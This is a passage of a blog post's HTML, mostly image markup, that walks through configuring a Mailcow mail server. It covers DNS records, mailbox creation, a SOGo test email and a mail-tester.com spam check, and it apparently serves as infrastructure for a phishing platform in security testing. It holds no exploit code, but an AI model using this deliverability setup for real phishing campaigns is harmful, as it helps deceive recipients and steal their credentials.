https://substackcdn.com/image/fetch/$s_!Nyx_!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F909dcd63-8630-43c4-8cd0-52d58c1c6de4_1118x309.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!Nyx_!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F909dcd63-8630-43c4-8cd0-52d58c1c6de4_1118x309.png" width="1118" height="309" data-attrs="{&quot;src&quot;:&quot;https://bucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com/public/images/909dcd63-8630-43c4-8cd0-52d58c1c6de4_1118x309.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:309,&quot;width&quot;:1118,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:22631,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!Nyx_!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F909dcd63-8630-43c4-8cd0-52d58c1c6de4_1118x309.png 424w, https://substackcdn.com/image/fetch/$s_!Nyx_!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F909dcd63-8630-43c4-8cd0-52d58c1c6de4_1118x309.png 848w, https://substackcdn.com/image/fetch/$s_!Nyx_!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F909dcd63-8630-43c4-8cd0-52d58c1c6de4_1118x309.png 1272w, https://substackcdn.com/image/fetch/$s_!Nyx_!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F909dcd63-8630-43c4-8cd0-52d58c1c6de4_1118x309.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Last step before we setup and test our first inbox is to add the MX and TXT DNS records to your domain. Here&#8217;s an example of the 3 TXT records you&#8217;ll want:</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!wx-j!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fd438eff7-731d-4d8f-9135-03f7db625758_1086x181.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!wx-j!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fd438eff7-731d-4d8f-9135-03f7db625758_1086x181.png 424w, https://substackcdn.com/image/fetch/$s_!wx-j!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fd438eff7-731d-4d8f-9135-03f7db625758_1086x181.png 848w, https://substackcdn.com/image/fetch/$s_!wx-j!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fd438eff7-731d-4d8f-9135-03f7db625758_1086x181.png 1272w, https://substackcdn.com/image/fetch/$s_!wx-j!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fd438eff7-731d-4d8f-9135-03f7db625758_1086x181.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!wx-j!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fd438eff7-731d-4d8f-9135-03f7db625758_1086x181.png" width="1086" height="181" data-attrs="{&quot;src&quot;:&quot;https://bucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com/public/images/d438eff7-731d-4d8f-9135-03f7db625758_1086x181.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:181,&quot;width&quot;:1086,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:22665,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!wx-j!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fd438eff7-731d-4d8f-9135-03f7db625758_1086x181.png 424w, https://substackcdn.com/image/fetch/$s_!wx-j!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fd438eff7-731d-4d8f-9135-03f7db625758_1086x181.png 848w, https://substackcdn.com/image/fetch/$s_!wx-j!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fd438eff7-731d-4d8f-9135-03f7db625758_1086x181.png 1272w, https://substackcdn.com/image/fetch/$s_!wx-j!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fd438eff7-731d-4d8f-9135-03f7db625758_1086x181.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><pre><code><code># Example record values
# DKIM - copy the value from mailcow

# DMARC
v=DMARC1; p=quarantine

# SPF
v=spf1 ip4:X.X.X.X -all</code></code></pre><h1><strong>Adding and Testing a Mailbox</strong></h1><p>Head back to the mail setup page like we did after logging in and click the <em>Mailboxes</em> tab. Click <em>Add mailbox</em> and choose a username/password for the new mailbox.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!yEFu!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fd6019b51-a5bb-4041-91f4-903ee7e55666_1420x495.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!yEFu!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fd6019b51-a5bb-4041-91f4-903ee7e55666_1420x495.png 424w, https://substackcdn.com/image/fetch/$s_!yEFu!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fd6019b51-a5bb-4041-91f4-903ee7e55666_1420x495.png 848w, https://substackcdn.com/image/fetch/$s_!yEFu!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fd6019b51-a5bb-4041-91f4-903ee7e55666_1420x495.png 1272w, https://substackcdn.com/image/fetch/$s_!yEFu!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fd6019b51-a5bb-4041-91f4-903ee7e55666_1420x495.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!yEFu!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fd6019b51-a5bb-4041-91f4-903ee7e55666_1420x495.png" width="1420" height="495" data-attrs="{&quot;src&quot;:&quot;https://bucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com/public/images/d6019b51-a5bb-4041-91f4-903ee7e55666_1420x495.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:495,&quot;width&quot;:1420,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:81447,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!yEFu!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fd6019b51-a5bb-4041-91f4-903ee7e55666_1420x495.png 424w, https://substackcdn.com/image/fetch/$s_!yEFu!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fd6019b51-a5bb-4041-91f4-903ee7e55666_1420x495.png 848w, https://substackcdn.com/image/fetch/$s_!yEFu!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fd6019b51-a5bb-4041-91f4-903ee7e55666_1420x495.png 1272w, https://substackcdn.com/image/fetch/$s_!yEFu!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fd6019b51-a5bb-4041-91f4-903ee7e55666_1420x495.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>You&#8217;re all ready to send emails at this point. Mailcow includes an email client called SOGo. It&#8217;s pretty barebones, but it&#8217;s sufficient for sending a few test emails if you don&#8217;t have a phishing platform to hookup to Mailcow yet. Head to <em>Apps &gt; SOGo</em> where you&#8217;ll be presented with a login form you can login to with your new mailbox credentials:</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!NGok!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F4fe59f61-0c9a-4bf3-8d6b-c5f1f6bffce5_665x105.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!NGok!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F4fe59f61-0c9a-4bf3-8d6b-c5f1f6bffce5_665x105.png 424w, https://substackcdn.com/image/fetch/$s_!NGok!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F4fe59f61-0c9a-4bf3-8d6b-c5f1f6bffce5_665x105.png 848w, https://substackcdn.com/image/fetch/$s_!NGok!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F4fe59f61-0c9a-4bf3-8d6b-c5f1f6bffce5_665x105.png 1272w, https://substackcdn.com/image/fetch/$s_!NGok!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F4fe59f61-0c9a-4bf3-8d6b-c5f1f6bffce5_665x105.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!NGok!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F4fe59f61-0c9a-4bf3-8d6b-c5f1f6bffce5_665x105.png" width="665" height="105" data-attrs="{&quot;src&quot;:&quot;https://bucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com/public/images/4fe59f61-0c9a-4bf3-8d6b-c5f1f6bffce5_665x105.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:false,&quot;imageSize&quot;:&quot;normal&quot;,&quot;height&quot;:105,&quot;width&quot;:665,&quot;resizeWidth&quot;:665,&quot;bytes&quot;:12819,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!NGok!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F4fe59f61-0c9a-4bf3-8d6b-c5f1f6bffce5_665x105.png 424w, https://substackcdn.com/image/fetch/$s_!NGok!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F4fe59f61-0c9a-4bf3-8d6b-c5f1f6bffce5_665x105.png 848w, https://substackcdn.com/image/fetch/$s_!NGok!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F4fe59f61-0c9a-4bf3-8d6b-c5f1f6bffce5_665x105.png 1272w, https://substackcdn.com/image/fetch/$s_!NGok!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F4fe59f61-0c9a-4bf3-8d6b-c5f1f6bffce5_665x105.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!_6sh!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fa6a527d5-2e51-49e7-8aa4-c5e6ea35b4ef_1241x359.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!_6sh!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fa6a527d5-2e51-49e7-8aa4-c5e6ea35b4ef_1241x359.png 424w, https://substackcdn.com/image/fetch/$s_!_6sh!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fa6a527d5-2e51-49e7-8aa4-c5e6ea35b4ef_1241x359.png 848w, https://substackcdn.com/image/fetch/$s_!_6sh!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fa6a527d5-2e51-49e7-8aa4-c5e6ea35b4ef_1241x359.png 1272w, https://substackcdn.com/image/fetch/$s_!_6sh!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fa6a527d5-2e51-49e7-8aa4-c5e6ea35b4ef_1241x359.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!_6sh!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fa6a527d5-2e51-49e7-8aa4-c5e6ea35b4ef_1241x359.png" width="1241" height="359" data-attrs="{&quot;src&quot;:&quot;https://bucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com/public/images/a6a527d5-2e51-49e7-8aa4-c5e6ea35b4ef_1241x359.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:359,&quot;width&quot;:1241,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:31871,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!_6sh!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fa6a527d5-2e51-49e7-8aa4-c5e6ea35b4ef_1241x359.png 424w, https://substackcdn.com/image/fetch/$s_!_6sh!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fa6a527d5-2e51-49e7-8aa4-c5e6ea35b4ef_1241x359.png 848w, https://substackcdn.com/image/fetch/$s_!_6sh!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fa6a527d5-2e51-49e7-8aa4-c5e6ea35b4ef_1241x359.png 1272w, https://substackcdn.com/image/fetch/$s_!_6sh!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fa6a527d5-2e51-49e7-8aa4-c5e6ea35b4ef_1241x359.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>After all the setup we&#8217;ve done to this point, let&#8217;s just ensure we get a good spam rating on <a href="https://www.mail-tester.com/">mail-tester.com</a>. Grab an address to send to from mail-tester and shoot over a test email. Again you could configure your phishing platform to send via your mailcow server to do this (authenticate to Mailcow on port 587 using TLS), if you&#8217;ve got it ready.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!S_67!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F76756761-d37b-49be-952f-771047f3e8ee_681x519.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!S_67!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F76756761-d37b-49be-952f-771047f3e8ee_681x519.png 424w, https://substackcdn.com/image/fetch/$s_!S_67!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F76756761-d37b-49be-952f-771047f3e8ee_681x519.png 848w, https://substackcdn.com/image/fetch/$s_!S_67!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F76756761-d37b-49be-952f-771047f3e8ee_681x519.png 1272w, https://substackcdn.com/image/fetch/$s_!S_67!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F76756761-d37b-49be-952f-771047f3e8ee_681x519.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!S_67!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F76756761-d37b-49be-952f-771047f3e8ee_681x519.png" width="681" height="519" data-attrs="{&quot;src&quot;:&quot;https://bucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com/public/images/76756761-d37b-49be-952f-771047f3e8ee_681x519.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:519,&quot;width&quot;:681,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:32694,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!S_67!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F76756761-d37b-49be-952f-771047f3e8ee_681x519.png 424w, https://substackcdn.com/image/fetch/$s_!S_67!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F76756761-d37b-49be-952f-771047f3e8ee_681x519.png 848w, https://substackcdn.com/image/fetch/$s_!S_67!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F76756761-d37b-49be-952f-771047f3e8ee_681x519.png 1272w, https://substackcdn.com/image/fetch/$s_!S_67!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F76756761-d37b-49be-952f-771047f3e8ee_681x519.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 